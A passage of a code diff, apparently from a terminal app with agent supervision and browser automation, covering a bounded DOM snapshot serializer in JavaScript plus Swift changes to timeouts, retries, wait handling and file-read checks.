__appendBoundedHTMLName(attribute.localName, false); + } else { + __appendBoundedHTMLName(attribute.name || attribute.localName, false); + } + }; + const __appendOpenTag = (element) => { + if (__htmlStopped) return; + __appendHTML('<'); + __appendElementName(element); + if (__htmlStopped) return; + const attributes = element.attributes; + for (let index = 0; index < attributes.length; index += 1) { + if (__attributeCount >= __attributeLimit) { + __htmlTruncated = true; + __htmlStopped = true; + return; + } + __attributeCount += 1; + const attribute = attributes.item(index); + if (!attribute) continue; + __appendHTML(' '); + __appendAttributeName(attribute); + __appendHTML('='); + __appendHTML('"'); + __appendEscapedHTML(attribute.value, true); + __appendHTML('"'); + if (__htmlStopped) return; + } + __appendHTML('>'); + }; + const __appendCloseTag = (element) => { + if (__htmlStopped) return; + const descriptor = __elementDescriptor(element); + if (descriptor.isHTML && descriptor.semanticLocal && __voidTags.has(descriptor.semanticLocal)) return; + __appendHTML('<'); + __appendHTML('/'); + __appendElementName(element); + if (!__htmlStopped) __appendHTML('>'); + }; + + const __implicitRole = (element) => { + const tag = __htmlLocalName(element, 64); + if (!tag) return null; + if (tag === 'button' || tag === 'summary') return 'button'; + if (tag === 'a' && element.hasAttribute('href')) return 'link'; + if (tag === 'input') { + const type = __boundedUTF8(element.getAttribute('type') || 'text', 32, true).value.toLowerCase(); + if (type === 'checkbox') return 'checkbox'; + if (type === 'radio') return 'radio'; + if (type === 'submit' || type === 'button' || type === 'reset') return 'button'; + return 'textbox'; + } + if (tag === 'textarea') return 'textbox'; + if (tag === 'select') return 'combobox'; + if (/^h[1-6]$/.test(tag)) return 'heading'; + if (tag === 'li') return 'listitem'; + return null; + }; + const __styleByElement = new WeakMap(); + const __computedStyleFor = (element) => { + if (__styleByElement.has(element)) return __styleByElement.get(element); + try { + const view = element.ownerDocument?.defaultView; + const style = view?.getComputedStyle ? view.getComputedStyle(element) : null; + __styleByElement.set(element, style); + return style; + } catch (_) { + __styleByElement.set(element, null); + return null; + } + }; + const __isVisible = (element) => { + try { + const style = __computedStyleFor(element); + const rect = element.getBoundingClientRect(); + return !!style && !!rect && rect.width > 0 && rect.height > 0 && style.display !== 'none' && style.visibility !== 'hidden' && parseFloat(style.opacity || '1') > 0.01; + } catch (_) { return false; } + }; + const __cursorEligible = (element) => { + if (!__includeCursor) return false; + try { + const style = __computedStyleFor(element); + const tabIndex = element.getAttribute('tabindex'); + return typeof element.onclick === 'function' || element.hasAttribute('onclick') || style?.cursor === 'pointer' || (tabIndex != null && String(tabIndex) !== '-1'); + } catch (_) { return false; } + }; + const __isRenderedBlock = (element) => { + const tag = __htmlLocalName(element, 64); + if (tag === 'br') return true; + const display = __computedStyleFor(element)?.display || ''; + return !!display && display !== 'none' && display !== 'contents' && !display.startsWith('inline'); + }; + const __isOwnTextSuppressed = (element, ignoreHidden = false) => { + const tag = __htmlLocalName(element, 64); + if (tag && __nonContentTextTags.has(tag)) return true; + if (ignoreHidden) return false; + if (element.hidden || element.hasAttribute('hidden')) return true; + const ariaHidden = __boundedUTF8(element.getAttribute('aria-hidden') || '', 16, true).value.toLowerCase(); + if (ariaHidden === 'true') return true; + const style = __computedStyleFor(element); + return style?.display === 'none' || style?.visibility === 'hidden' || style?.visibility === 'collapse'; + }; + const __templateHostByContent = new WeakMap(); + const __textSuppressedByElement = new WeakMap(); + const __updateTextSuppression = (element) => { + const domParent = element.parentNode; + const logicalParent = __templateHostByContent.get(domParent) || domParent; + const parentSuppressed = logicalParent ? (__textSuppressedByElement.get(logicalParent) || false) : false; + const suppressed = parentSuppressed || __isOwnTextSuppressed(element); + __textSuppressedByElement.set(element, suppressed); + return suppressed; + }; + + const __createNameSink = () => ({ + value: '', bytes: 0, pendingWhitespace: false, separatorRequested: false, + truncated: false, stopped: false + }); + const __appendNameCharacter = (sink, character) => { + if (sink.stopped) return false; + if (/\s/u.test(character)) { + if (sink.value) sink.pendingWhitespace = true; + return true; + } + const needsSpace = sink.value && (sink.pendingWhitespace || sink.separatorRequested); + const width = __byteWidth(character.codePointAt(0)); + const required = width + (needsSpace ? 1 : 0); + if (sink.bytes > __nameByteLimit - required) { + sink.truncated = true; + sink.stopped = true; + return false; + } + if (needsSpace) { sink.value += ' '; sink.bytes += 1; } + sink.value += character; + sink.bytes += width; + sink.pendingWhitespace = false; + sink.separatorRequested = false; + return true; + }; + const __appendNameSource = (sink, value) => { + if (sink.stopped || !value) return; + const inspected = __inspectTextSource(value, (character) => __appendNameCharacter(sink, character)); + if (inspected.truncated) return; + }; + const __mergeNameValue = (sink, result) => { + if (!result.value) { + if (result.truncated) sink.truncated = true; + return; + } + if (sink.value) sink.separatorRequested = true; + for (const character of result.value) { + if (!__appendNameCharacter(sink, character)) break; + } + if (result.truncated) sink.truncated = true; + }; + const __nameContentCache = new WeakMap(); + const __explicitLabelContentCache = new WeakMap(); + const __walkNameContent = (root, includeHiddenSubtree) => { + const cache = includeHiddenSubtree ? __explicitLabelContentCache : __nameContentCache; + const cached = cache.get(root); + if (cached) return cached; + const sink = __createNameSink(); + const suppressedByElement = new WeakMap(); + let node = root; + while (node) { + if (!__chargeNodeWork()) break; + let suppressed = false; + if (node.nodeType === Node.ELEMENT_NODE) { + const parentSuppressed = node === root ? false : (suppressedByElement.get(node.parentElement) || false); + suppressed = parentSuppressed || __isOwnTextSuppressed(node, includeHiddenSubtree); + suppressedByElement.set(node, suppressed); + if (!suppressed && __isRenderedBlock(node)) sink.separatorRequested = !!sink.value; + } else if (node.nodeType === Node.TEXT_NODE) { + suppressed = suppressedByElement.get(node.parentElement) || false; + if (!suppressed) __appendNameSource(sink, node.nodeValue || ''); + } + + const descend = node.nodeType === Node.ELEMENT_NODE && !suppressed && !!node.firstChild; + if (descend) { + node = node.firstChild; + continue; + } + while (node) { + if (node.nodeType === Node.ELEMENT_NODE + && !(suppressedByElement.get(node) || false) + && __isRenderedBlock(node) + && sink.value) { + sink.separatorRequested = true; + } + if (node === root) { node = null; break; } + if (node.nextSibling) { node = node.nextSibling; break; } + node = node.parentNode; + } + } + const result = { value: sink.value, bytes: sink.bytes, truncated: sink.truncated }; + cache.set(root, result); + return result; + }; + const __boundedNameSource = (value) => __boundedUTF8(value || '', __nameByteLimit, true); + const __nameFor = (element) => { + let result = null; + let discoveryTruncated = false; + const labelledBy = __boundedUTF8(element.getAttribute('aria-labelledby') || '', 256, true); + if (labelledBy.value) { + const combined = __createNameSink(); + const resolvedLabels = new Set(); + let count = 0; + for (const id of labelledBy.value.split(' ')) { + if (!id) continue; + if (count >= 16) { combined.truncated = true; break; } + count += 1; + const labelled = element.ownerDocument?.getElementById(id); + if (!labelled || resolvedLabels.has(labelled)) continue; + resolvedLabels.add(labelled); + __mergeNameValue(combined, __walkNameContent(labelled, true)); + if (combined.stopped || __nodeBudgetExhausted) break; + } + discoveryTruncated = labelledBy.truncated || combined.truncated; + if (combined.value) result = { value: combined.value, bytes: combined.bytes, truncated: combined.truncated }; + } else { + discoveryTruncated = labelledBy.truncated; + } + if (!result) { + const ariaLabel = __boundedNameSource(element.getAttribute('aria-label') || ''); + if (ariaLabel.value) result = ariaLabel; + discoveryTruncated = discoveryTruncated || ariaLabel.truncated; + } + const tag = __htmlLocalName(element, 64); + if (!result && (tag === 'input' || tag === 'textarea')) { + const hostName = __boundedNameSource(element.getAttribute('placeholder') || element.value || ''); + if (hostName.value) result = hostName; + discoveryTruncated = discoveryTruncated || hostName.truncated; + } + if (!result) { + const titleName = __boundedNameSource(element.getAttribute('title') || ''); + if (titleName.value) result = titleName; + discoveryTruncated = discoveryTruncated || titleName.truncated; + } + if (!result) result = __walkNameContent(element, false); + if (result.truncated || discoveryTruncated) { + __nameTruncatedCount += 1; + __reasons.add('name_byte_limit'); + } + return result; + }; + + const __buildScopedRootPath = (element) => { + const documentElement = element.ownerDocument?.documentElement; + let current = element; + let suffix = ''; + while (current) { + if (!__chargeNodeWork()) return null; + if (current === documentElement) { + const complete = __boundedUTF8(':root' + suffix, __selectorByteLimit); + return complete.truncated ? null : complete.value; + } + const parent = current.parentElement; + if (!parent) return null; + let ordinal = 1; + let sibling = current.previousElementSibling; + while (sibling) { + if (!__chargeNodeWork()) return null; + ordinal += 1; + sibling = sibling.previousElementSibling; + } + const candidate = ' > :nth-child(' + ordinal + ')' + suffix; + if (__boundedUTF8(candidate, __selectorByteLimit).truncated) return null; + suffix = candidate; + current = parent; + } + return null; + }; + let __scopedPathAvailable = !__scoped; + if (__scoped) { + const scopedPath = __buildScopedRootPath(__root); + if (scopedPath) { + __pathByElement.set(__root, scopedPath); + __scopedPathAvailable = true; + } + } + const __recordStructuralPath = (element) => { + const existing = __pathByElement.get(element); + if (existing) return existing; + if (__scoped && element === __root && !__scopedPathAvailable) return null; + if (element === element.ownerDocument?.documentElement) { + __pathByElement.set(element, ':root'); + return ':root'; + } + const parent = element.parentElement; + if (!parent) return null; + const ordinal = (__elementChildrenSeenByParent.get(parent) || 0) + 1; + __elementChildrenSeenByParent.set(parent, ordinal); + const parentPath = __pathByElement.get(parent); + if (!parentPath) return null; + const candidate = parentPath + ' > :nth-child(' + ordinal + ')'; + const bounded = __boundedUTF8(candidate, __selectorByteLimit); + if (bounded.truncated) return null; + __pathByElement.set(element, bounded.value); + return bounded.value; + }; + const __selectorFor = (element) => { + const structural = __pathByElement.get(element) || null; + const rawId = element.id || ''; + if (rawId) { + const rawBound = __boundedUTF8(rawId, __selectorByteLimit); + if (rawBound.truncated) return { selector: null, oversized: true }; + try { + const escapedValue = __boundedUTF8(CSS.escape(rawBound.value), __selectorByteLimit - 1); + if (escapedValue.truncated) return { selector: null, oversized: true }; + const escaped = '#' + escapedValue.value; + if (element.ownerDocument?.querySelector(escaped) === element) { + return { selector: escaped, oversized: false }; + } + } catch (_) {} + } + return { selector: structural, oversized: !structural }; + }; + + const __appendEntry = (element, depth) => { + if (!__isVisible(element)) return; + const cursorEligible = __cursorEligible(element); + const explicitRaw = element.getAttribute('role') || ''; + const explicitBounded = __boundedUTF8(explicitRaw, __roleByteLimit, true); + const explicitValue = explicitBounded.value.toLowerCase(); + const explicitRole = !explicitBounded.truncated && __allowedRoles.has(explicitValue) ? explicitValue : null; + const implicitRole = __implicitRole(element); + let role = explicitRole || implicitRole || (cursorEligible ? 'generic' : null); + if (!role) { + if (explicitRaw) { __roleSkippedCount += 1; __reasons.add('role_byte_limit'); } + return; + } + if (__interactiveOnly && !__interactiveRoles.has(role) && !cursorEligible) return; + if (!__interactiveOnly && !__interactiveRoles.has(role) && !__contentRoles.has(role) && !cursorEligible) return; + const selectorResult = __selectorFor(element); + if (!selectorResult.selector) { + if (selectorResult.oversized) { __selectorSkippedCount += 1; __reasons.add('selector_byte_limit'); } + return; + } + const name = __nameFor(element); + if (__compact && role === 'generic' && !name.value) return; + const selector = selectorResult.selector; + if (__seenSelectors.has(selector)) return; + if (__entries.length >= __entryLimit) { __reasons.add('entry_limit'); __stop = true; return; } + const candidateBytes = __boundedUTF8(selector, __selectorByteLimit).bytes + name.bytes + __boundedUTF8(role, __roleByteLimit).bytes; + if (candidateBytes > __entryByteLimit - __entryBytes) { __reasons.add('entry_byte_limit'); __stop = true; return; } + __seenSelectors.add(selector); + __entryBytes += candidateBytes; + __entries.push({ selector, role, name: name.value, depth }); + }; + + const __firstTraversalChild = (node) => { + if (node.nodeType === Node.ELEMENT_NODE) { + const descriptor = __elementDescriptor(node); + if (descriptor.isHTML && descriptor.semanticLocal === 'template') { + const content = node.content; + if (content) { + __templateHostByContent.set(content, node); + __textSuppressedByElement.set( + content, + __textSuppressedByElement.get(node) || false + ); + return content.firstChild; + } + } + } + return node.firstChild; + }; + const __traversalParent = (node) => { + const domParent = node.parentNode; + return __templateHostByContent.get(domParent) || domParent; + }; + + let __node = __serializationRoot; + let __depth = 0; + while (__node && !__stop) { + if (!__chargeNodeWork()) { + __textTruncated = true; + __htmlTruncated = true; + break; + } + __visitedNodes += 1; + const isElement = __node.nodeType === Node.ELEMENT_NODE; + if (__node === __root) { + __scopeDepth = __depth; + __scopeActive = true; + } + const inScope = __scopeActive; + const relativeDepth = __scopeDepth == null ? 0 : __depth - __scopeDepth; + let textSuppressed = false; + if (isElement) { + textSuppressed = __updateTextSuppression(__node); + __appendOpenTag(__node); + __recordStructuralPath(__node); + } + else if (__node.nodeType === Node.TEXT_NODE) { + const parentDescriptor = __node.parentElement ? __elementDescriptor(__node.parentElement) : null; + if (parentDescriptor?.isHTML + && parentDescriptor.semanticLocal + && __rawTextTags.has(parentDescriptor.semanticLocal)) { + __appendHTML(__node.nodeValue || ''); + } + else __appendEscapedHTML(__node.nodeValue || '', false); + } else if (__node.nodeType === Node.COMMENT_NODE) { + __appendHTML(''); + } + + if (inScope) { + if (isElement && !textSuppressed) { + if (__isRenderedBlock(__node)) __requestTextSeparator(); + } + if (__node.nodeType === Node.TEXT_NODE) { + const domParent = __node.parentNode; + const parent = __templateHostByContent.get(domParent) || domParent; + if (!parent || !(__textSuppressedByElement.get(parent) || false)) { + __appendText(__node.nodeValue || ''); + } + } + if (isElement && relativeDepth <= __maxDepth) __appendEntry(__node, relativeDepth); + if (__stop || __nodeBudgetExhausted) { + __textTruncated = true; + __htmlTruncated = true; + break; + } + } + + const firstChild = __firstTraversalChild(__node); + let descend = !!firstChild; + if (inScope && relativeDepth >= __maxDepth && descend) { + descend = false; + __textTruncated = true; + __htmlTruncated = true; + __htmlStopped = true; + } + if (descend) { + __node = firstChild; + __depth += 1; + continue; + } + while (__node) { + if (__node.nodeType === Node.ELEMENT_NODE) { + const closingSuppressed = __textSuppressedByElement.get(__node) || false; + if (__scopeActive && !closingSuppressed && __isRenderedBlock(__node)) { + __requestTextSeparator(); + } + __appendCloseTag(__node); + if (__node === __root) __scopeActive = false; + } + if (__node === __serializationRoot) { __node = null; break; } + if (__node.nextSibling) { __node = __node.nextSibling; break; } + __node = __traversalParent(__node); + __depth -= 1; + } + } + + const __truncationReasons = __reasonOrder.filter((reason) => __reasons.has(reason)); + return { + title: __title.value, + url: __url.value, + ready_state: String(document.readyState || ''), + text: __text, + html: __html, + entries: __entries, + truncated: __truncationReasons.length > 0 || __textTruncated || __htmlTruncated, + truncation_reasons: __truncationReasons, + element_limit: __entryLimit, + node_limit: __nodeLimit, + visited_nodes: __visitedNodes, + text_inspection_limit: __textInspectionLimit, + text_inspected_units: __textInspectedUnits, + entry_byte_limit: __entryByteLimit, + entry_bytes: __entryBytes, + selector_byte_limit: __selectorByteLimit, + selector_skipped_count: __selectorSkippedCount, + name_byte_limit: __nameByteLimit, + name_truncated_count: __nameTruncatedCount, + role_byte_limit: __roleByteLimit, + role_skipped_count: __roleSkippedCount, + title_byte_limit: __titleByteLimit, + url_byte_limit: __urlByteLimit, + text_truncated: __textTruncated, + html_truncated: __htmlTruncated + }; diff --git a/Sources/AgentSupervision.swift b/Sources/AgentSupervision.swift index 09b7a6b73..3e5e908cc 100644 --- a/Sources/AgentSupervision.swift +++ b/Sources/AgentSupervision.swift @@ -332,6 +332,25 @@ enum AgentSupervisionMetadata { aggregateTaskState(for: workspace, records: records)?.rawValue } + /// Socket `agent_state` (DECISION D3): what the workspace is doing now. Only unfinished + /// helpers count, so one failed helper does not pin the workspace to `failed` forever; + /// finished helpers are reported separately by `helperOutcomes`. Values: idle|working|blocked. + static func currentActivityState( + for workspace: Workspace, + records: [AgentTaskRecord] + ) -> String? { + aggregateTaskState(for: workspace, records: records.filter { !$0.state.isFinished })?.rawValue + } + + /// Finished-helper counts for `workspace.list` / `system.tree` (`helper_outcomes`). + static func helperOutcomes(records: [AgentTaskRecord]) -> [String: Int] { + var outcomes: [String: Int] = ["failed": 0, "completed": 0, "cancelled": 0] + for record in records where record.state.isFinished { + outcomes[record.state.rawValue, default: 0] += 1 + } + return outcomes + } + static func aggregateSource( for workspace: Workspace, records: [AgentTaskRecord] diff --git a/Sources/TerminalController+AgentPrompt.swift b/Sources/TerminalController+AgentPrompt.swift index 941dc572a..e168be2db 100644 --- a/Sources/TerminalController+AgentPrompt.swift +++ b/Sources/TerminalController+AgentPrompt.swift @@ -40,7 +40,8 @@ extension TerminalController { return .err(code: "invalid_params", message: "Missing text", data: nil) } - let totalTimeoutMs = max(1, v2Int(params, "timeout_ms") ?? v2Int(params, "timeout") ?? 120_000) + let requestedTimeoutMs = v2Int(params, "timeout_ms") ?? v2Int(params, "timeout") ?? 120_000 + let totalTimeoutMs = min(Self.watchedWaitMaxTimeoutMs, max(1, requestedTimeoutMs)) let workingGraceMs = max(1, v2Int(params, "working_grace_ms") ?? 3_000) let totalDeadline = Date().addingTimeInterval(Double(totalTimeoutMs) / 1000.0) @@ -62,6 +63,7 @@ extension TerminalController { var windowId: UUID? var baselineState: AgentActivityState? var alreadyWorkingAtSendTime = false + var queued = false // Token for whichever watcher got registered inside the initial send+register hop: // the "working" watcher in the normal case, or an "idle" watcher directly when the // surface was already mid-task (`alreadyWorkingAtSendTime`) and there is nothing to @@ -118,6 +120,7 @@ extension TerminalController { } else { terminalPanel.sendText(textToSend) terminalPanel.surface.requestBackgroundSurfaceStartIfNeeded() + queued = true } // Register the watcher in this SAME hop -- see file header step 1. @@ -140,7 +143,7 @@ extension TerminalController { return .err(code: "internal_error", message: "Failed to resolve surface", data: nil) } - func result(workingObserved: Bool, finalState: AgentActivityState?, warning: String? = nil) -> V2CallResult { + func result(workingObserved: Bool, finalState: AgentActivityState?, warning: String? = nil, closed: Bool = false) -> V2CallResult { var payload: [String: Any] = [ "workspace_id": workspaceId.uuidString, "workspace_ref": self.v2Ref(kind: .workspace, uuid: workspaceId), @@ -154,15 +157,20 @@ extension TerminalController { if let warning { payload["warning"] = warning } + // The surface was not attached: the prompt went to the pending queue. + if queued { payload["queued"] = true } + if closed { payload["outcome"] = "closed" } return .ok(payload) } if alreadyWorkingAtSendTime { // Already mid-task when we sent -- nothing to grace-wait for; go straight to // watching for idle, per file header step 1's "already working" branch. - let remaining = totalDeadline.timeIntervalSinceNow - guard remaining > 0, idleSemaphore.wait(timeout: .now() + max(0, remaining)) == .success else { + let outcome = v2WatchedWait(idleSemaphore, until: totalDeadline, surfaceId: surfaceIdOut) + guard case .signaled = outcome else { AgentStateWaitRegistry.shared.removeWaiter(surfaceId: surfaceIdOut, token: firstPhaseWaiterToken) + if case .surfaceClosed = outcome { return result(workingObserved: true, finalState: nil, closed: true) } + if case .clientGone = outcome { return v2ClientGoneError } return .err( code: "timeout", message: "Agent (already working when the prompt was sent) did not return to idle before timeout", @@ -175,7 +183,16 @@ extension TerminalController { // Step 2: grace window for a "working" transition. let remaining = max(0, totalDeadline.timeIntervalSinceNow) let graceWait = min(Double(workingGraceMs) / 1000.0, remaining) - let observedWorking = workingSemaphore.wait(timeout: .now() + graceWait) == .success + let graceOutcome = v2WatchedWait(workingSemaphore, until: Date().addingTimeInterval(graceWait), surfaceId: surfaceIdOut) + if case .surfaceClosed = graceOutcome { + AgentStateWaitRegistry.shared.removeWaiter(surfaceId: surfaceIdOut, token: firstPhaseWaiterToken) + return result(workingObserved: false, finalState: nil, closed: true) + } + if case .clientGone = graceOutcome { + AgentStateWaitRegistry.shared.removeWaiter(surfaceId: surfaceIdOut, token: firstPhaseWaiterToken) + return v2ClientGoneError + } + let observedWorking: Bool = { if case .signaled = graceOutcome { return true }; return false }() if !observedWorking { AgentStateWaitRegistry.shared.removeWaiter(surfaceId: surfaceIdOut, token: firstPhaseWaiterToken) @@ -222,9 +239,11 @@ extension TerminalController { if let idleSetupError { return idleSetupError } if let idleWaiterToken { - let remaining = totalDeadline.timeIntervalSinceNow - guard remaining > 0, idleSemaphore.wait(timeout: .now() + max(0, remaining)) == .success else { + let outcome = v2WatchedWait(idleSemaphore, until: totalDeadline, surfaceId: surfaceIdOut) + guard case .signaled = outcome else { AgentStateWaitRegistry.shared.removeWaiter(surfaceId: surfaceIdOut, token: idleWaiterToken) + if case .surfaceClosed = outcome { return result(workingObserved: true, finalState: nil, closed: true) } + if case .clientGone = outcome { return v2ClientGoneError } return .err( code: "timeout", message: "Agent started working but did not return to idle before timeout", diff --git a/Sources/TerminalController+AgentSupervision.swift b/Sources/TerminalController+AgentSupervision.swift index dc7f7956f..b54545a3d 100644 --- a/Sources/TerminalController+AgentSupervision.swift +++ b/Sources/TerminalController+AgentSupervision.swift @@ -478,10 +478,14 @@ extension TerminalController { workspaceId: workspace.id, surfaceId: surfaceId ) + // Pane hosting the spawned terminal, so callers can target it without a lookup. + let paneUUID = surfaceId.flatMap { workspace.paneId(forPanelId: $0)?.id } return .ok([ "agent_id": agentId.uuidString, "workspace_id": workspace.id.uuidString, "workspace_ref": v2Ref(kind: .workspace, uuid: workspace.id), + "pane_id": v2OrNull(paneUUID?.uuidString), + "pane_ref": v2Ref(kind: .pane, uuid: paneUUID), "surface_id": v2OrNull(surfaceId?.uuidString), "surface_ref": v2Ref(kind: .surface, uuid: surfaceId), "focused": false, diff --git a/Sources/TerminalController+BrowserAutomation.swift b/Sources/TerminalController+BrowserAutomation.swift index ac6dfe5df..16320d17c 100644 --- a/Sources/TerminalController+BrowserAutomation.swift +++ b/Sources/TerminalController+BrowserAutomation.swift @@ -730,7 +730,8 @@ extension TerminalController { return .success(validated) } - private static func makeCookie(from raw: [String: Any], fallbackURL: URL) -> HTTPCookie? { + /// Shared by state.load and browser.cookies.set so both accept the same fields. + static func makeCookie(from raw: [String: Any], fallbackURL: URL) -> HTTPCookie? { guard let name = raw["name"] as? String, !name.isEmpty, let value = raw["value"] as? String else { return nil @@ -1099,7 +1100,7 @@ extension TerminalController { } guard let outcome else { - return .failure("Timed out waiting for JavaScript result") + return .failure(Self.v2JavaScriptTimeoutMessage) } if let resultError = outcome.1 { return .failure(resultError) @@ -1155,7 +1156,8 @@ extension TerminalController { surfaceId: UUID, conditionScript: String, timeoutMs: Int, - pageWorld: Bool = false + pageWorld: Bool = false, + frameSelector: String?? = nil ) -> Bool { let timeout = Double(timeoutMs) / 1000.0 let waitScript = """ @@ -1217,6 +1219,9 @@ extension TerminalController { finish(false); }, \(timeoutMs)); cleanups.push(() => window.clearTimeout(timeoutId)); + // Page globals (e.g. window.appReady) change without DOM mutations or events. + const intervalId = window.setInterval(recheck, 100); + cleanups.push(() => window.clearInterval(intervalId)); recheck(); }); })() @@ -1228,7 +1233,9 @@ extension TerminalController { script: waitScript, timeout: timeout + 1.0, useEval: false, - pageWorld: pageWorld + pageWorld: pageWorld, + frameSelector: frameSelector, + allowsPageWorldRetry: true ) { case .success(let value): return (value as? Bool) == true @@ -1246,6 +1253,9 @@ extension TerminalController { func v2BrowserBumpNavigationGeneration(forSurface surfaceId: UUID) { browserRPCState.advanceNavigationGeneration(for: surfaceId) + // A frame chosen on the previous page does not exist on the new one; keeping it makes + // every later call fail with frame_unavailable until `browser frame main`. + v2BrowserFrameSelectorBySurface.removeValue(forKey: surfaceId) } func v2BrowserPostProcessSnapshotResult(_ browserResult: [String: Any]) -> V2BrowserSnapshotContent { @@ -1562,6 +1572,7 @@ extension TerminalController { guard let refKey else { return .literal(trimmed) } + Self.v2AssertBrowserRPCStateOnMain() guard let entry = v2BrowserElementRefs[refKey], entry.surfaceId == surfaceId else { return .notFound } @@ -1618,17 +1629,42 @@ extension TerminalController { return .applied } + /// Element refs, navigation generations and frame selections are main-thread state; socket + /// handlers run on per-connection threads, so DEBUG builds trap an off-main access (C-A-M6). + nonisolated static func v2AssertBrowserRPCStateOnMain() { +#if DEBUG + dispatchPrecondition(condition: .onQueue(.main)) +#endif + } + + nonisolated static let v2JavaScriptTimeoutMessage = "Timed out waiting for JavaScript result" + /// Caps for caller-supplied waits so one request cannot hold a socket thread (or main) for hours. + nonisolated static let v2BrowserMaxTimeoutMs = 60_000 + nonisolated static let v2BrowserMaxRetryAttempts = 10 + + /// Isolated-world failures right after a navigation are retried once in the page world, but + /// only for read-only callers (a mutating script that ran and called back late would run twice) + /// and never after our own timeout (the script may still be running). + nonisolated static func v2BrowserShouldRetryInPageWorld(isolatedError: String, allowsRetry: Bool) -> Bool { + allowsRetry && isolatedError != v2JavaScriptTimeoutMessage + } + + /// `frameSelector`: nil reads the surface's current frame selection (main thread only); + /// off-main callers pass the value they resolved inside their `v2MainSync` setup. private func v2RunBrowserJavaScriptOutcome( _ webView: WKWebView, surfaceId: UUID, script: String, timeout: TimeInterval = 5.0, useEval: Bool = true, - pageWorld: Bool = false + pageWorld: Bool = false, + frameSelector resolvedFrameSelector: String?? = nil, + allowsPageWorldRetry: Bool = false ) -> V2BrowserJavaScriptExecutionOutcome { let scriptLiteral = v2JSONLiteral(script) + let currentFrameSelector = resolvedFrameSelector ?? v2BrowserCurrentFrameSelector(surfaceId: surfaceId) let framePrelude: String - if let frameSelector = v2BrowserCurrentFrameSelector(surfaceId: surfaceId) { + if let frameSelector = currentFrameSelector { let selectorLiteral = v2JSONLiteral(frameSelector) framePrelude = """ const __programaFrameSelector = \(selectorLiteral); @@ -1692,8 +1728,9 @@ extension TerminalController { ) // Non-eval callers run isolated in `.defaultClient`, which can fail transiently right after a - // fresh navigation. Retry once in `.page` so one failure doesn't become an immediate false/timeout. - if !useEval, !pageWorld, case .failure(let isolatedMessage) = rawResult { + // fresh navigation. Read-only callers retry once in `.page` (see v2BrowserShouldRetryInPageWorld). + if !useEval, !pageWorld, case .failure(let isolatedMessage) = rawResult, + Self.v2BrowserShouldRetryInPageWorld(isolatedError: isolatedMessage, allowsRetry: allowsPageWorldRetry) { let pageWorldResult = v2RunJavaScript( webView, script: asyncFunctionBody, @@ -1720,7 +1757,7 @@ extension TerminalController { return .completed(value) } if status == "frame_unavailable" { - return .frameUnavailable(v2BrowserCurrentFrameSelector(surfaceId: surfaceId) ?? "") + return .frameUnavailable(currentFrameSelector ?? "") } guard status == "completed", let type = dict[Self.v2BrowserEvalEnvelopeTypeKey] as? String else { @@ -1744,7 +1781,9 @@ extension TerminalController { script: String, timeout: TimeInterval = 5.0, useEval: Bool = true, - pageWorld: Bool = false + pageWorld: Bool = false, + frameSelector: String?? = nil, + allowsPageWorldRetry: Bool = false ) -> V2JavaScriptResult { switch v2RunBrowserJavaScriptOutcome( webView, @@ -1752,7 +1791,9 @@ extension TerminalController { script: script, timeout: timeout, useEval: useEval, - pageWorld: pageWorld + pageWorld: pageWorld, + frameSelector: frameSelector, + allowsPageWorldRetry: allowsPageWorldRetry ) { case .completed(let value): return .success(value) @@ -1966,6 +2007,11 @@ extension TerminalController { guard !isDir.boolValue else { return .err(code: "invalid_params", message: "Path is a directory, not a file: \(filePath)", data: ["path": filePath]) } + // Devices and FIFOs (/dev/zero, a named pipe) would block or never end the read. + let resolvedURL = URL(fileURLWithPath: filePath).resolvingSymlinksInPath() + guard (try? resolvedURL.resourceValues(forKeys: [.isRegularFileKey]))?.isRegularFile == true else { + return .err(code: "invalid_params", message: "Path is not a regular file: \(filePath)", data: ["path": filePath]) + } guard FileManager.default.isReadableFile(atPath: filePath) else { return .err(code: "permission_denied", message: "File not readable: \(filePath)", data: ["path": filePath]) } @@ -2043,6 +2089,9 @@ extension TerminalController { } let urlStr = v2String(params, "url") let url = urlStr.flatMap { URL(string: $0) } + if urlStr != nil && url == nil { + return .err(code: "invalid_params", message: "Invalid URL", data: ["url": v2OrNull(urlStr)]) + } let respectExternalOpenRules = v2Bool(params, "respect_external_open_rules") ?? false var result: V2CallResult = .err(code: "internal_error", message: "Failed to create browser", data: nil) @@ -2098,11 +2147,16 @@ extension TerminalController { var placementStrategy = "split_right" let createdPanel: BrowserPanel? if let targetPane = ws.preferredBrowserTargetPane(fromPanelId: sourceSurfaceId) { - createdPanel = ws.newBrowserSurface(inPane: targetPane, url: url, focus: true) + createdPanel = ws.newBrowserSurface(inPane: targetPane, url: url, focus: v2FocusAllowed()) createdSplit = false placementStrategy = "reuse_right_sibling" + } else if let limitError = v2PaneLimitError(for: ws) { + result = limitError + return } else { - createdPanel = ws.newBrowserSplit(from: sourceSurfaceId, orientation: .horizontal, url: url) + createdPanel = ws.newBrowserSplit( + from: sourceSurfaceId, orientation: .horizontal, url: url, focus: v2FocusAllowed() + ) } guard let browserPanelId = createdPanel?.id else { @@ -2360,7 +2414,7 @@ extension TerminalController { return v2BrowserSelectorResolutionError(selectorRaw, surfaceId: surfaceId) } let script = scriptBuilder(v2JSONLiteral(selector)) - let retryAttempts = max(1, v2Int(params, "retry_attempts") ?? 3) + let retryAttempts = min(Self.v2BrowserMaxRetryAttempts, max(1, v2Int(params, "retry_attempts") ?? 3)) let selectorCondition = "document.querySelector(\(v2JSONLiteral(selector))) !== null" for attempt in 1...retryAttempts { @@ -2368,7 +2422,8 @@ extension TerminalController { browserPanel.webView, surfaceId: surfaceId, script: script, - useEval: false + useEval: false, + allowsPageWorldRetry: actionName.hasPrefix("get.") || actionName.hasPrefix("is.") ) { case .frameUnavailable(let frameSelector): return .err( @@ -2440,26 +2495,48 @@ extension TerminalController { } } - nonisolated func v2BrowserEval(params: [String: Any]) -> V2CallResult { + func v2BrowserEval(params: [String: Any]) -> V2CallResult { guard let script = v2String(params, "script") else { return .err(code: "invalid_params", message: "Missing script", data: nil) } - return v2BrowserWithPanel(params: params) { _, ws, surfaceId, browserPanel in - switch v2RunBrowserJavaScript(browserPanel.webView, surfaceId: surfaceId, script: script, timeout: 10.0) { - case .failure(let message): - return .err(code: "js_error", message: message, data: nil) - case .success(let value): - return .ok([ - "workspace_id": ws.id.uuidString, - "workspace_ref": v2Ref(kind: .workspace, uuid: ws.id), - "surface_id": surfaceId.uuidString, - "surface_ref": v2Ref(kind: .surface, uuid: surfaceId), - "value": v2NormalizeJSValue(value) - ]) - } + // Hop to main only to resolve the panel. The JS starts on main (main.async) while this + // socket thread waits, so a slow promise no longer holds the main queue (R-M3). + var target: (workspaceId: UUID, surfaceId: UUID, webView: 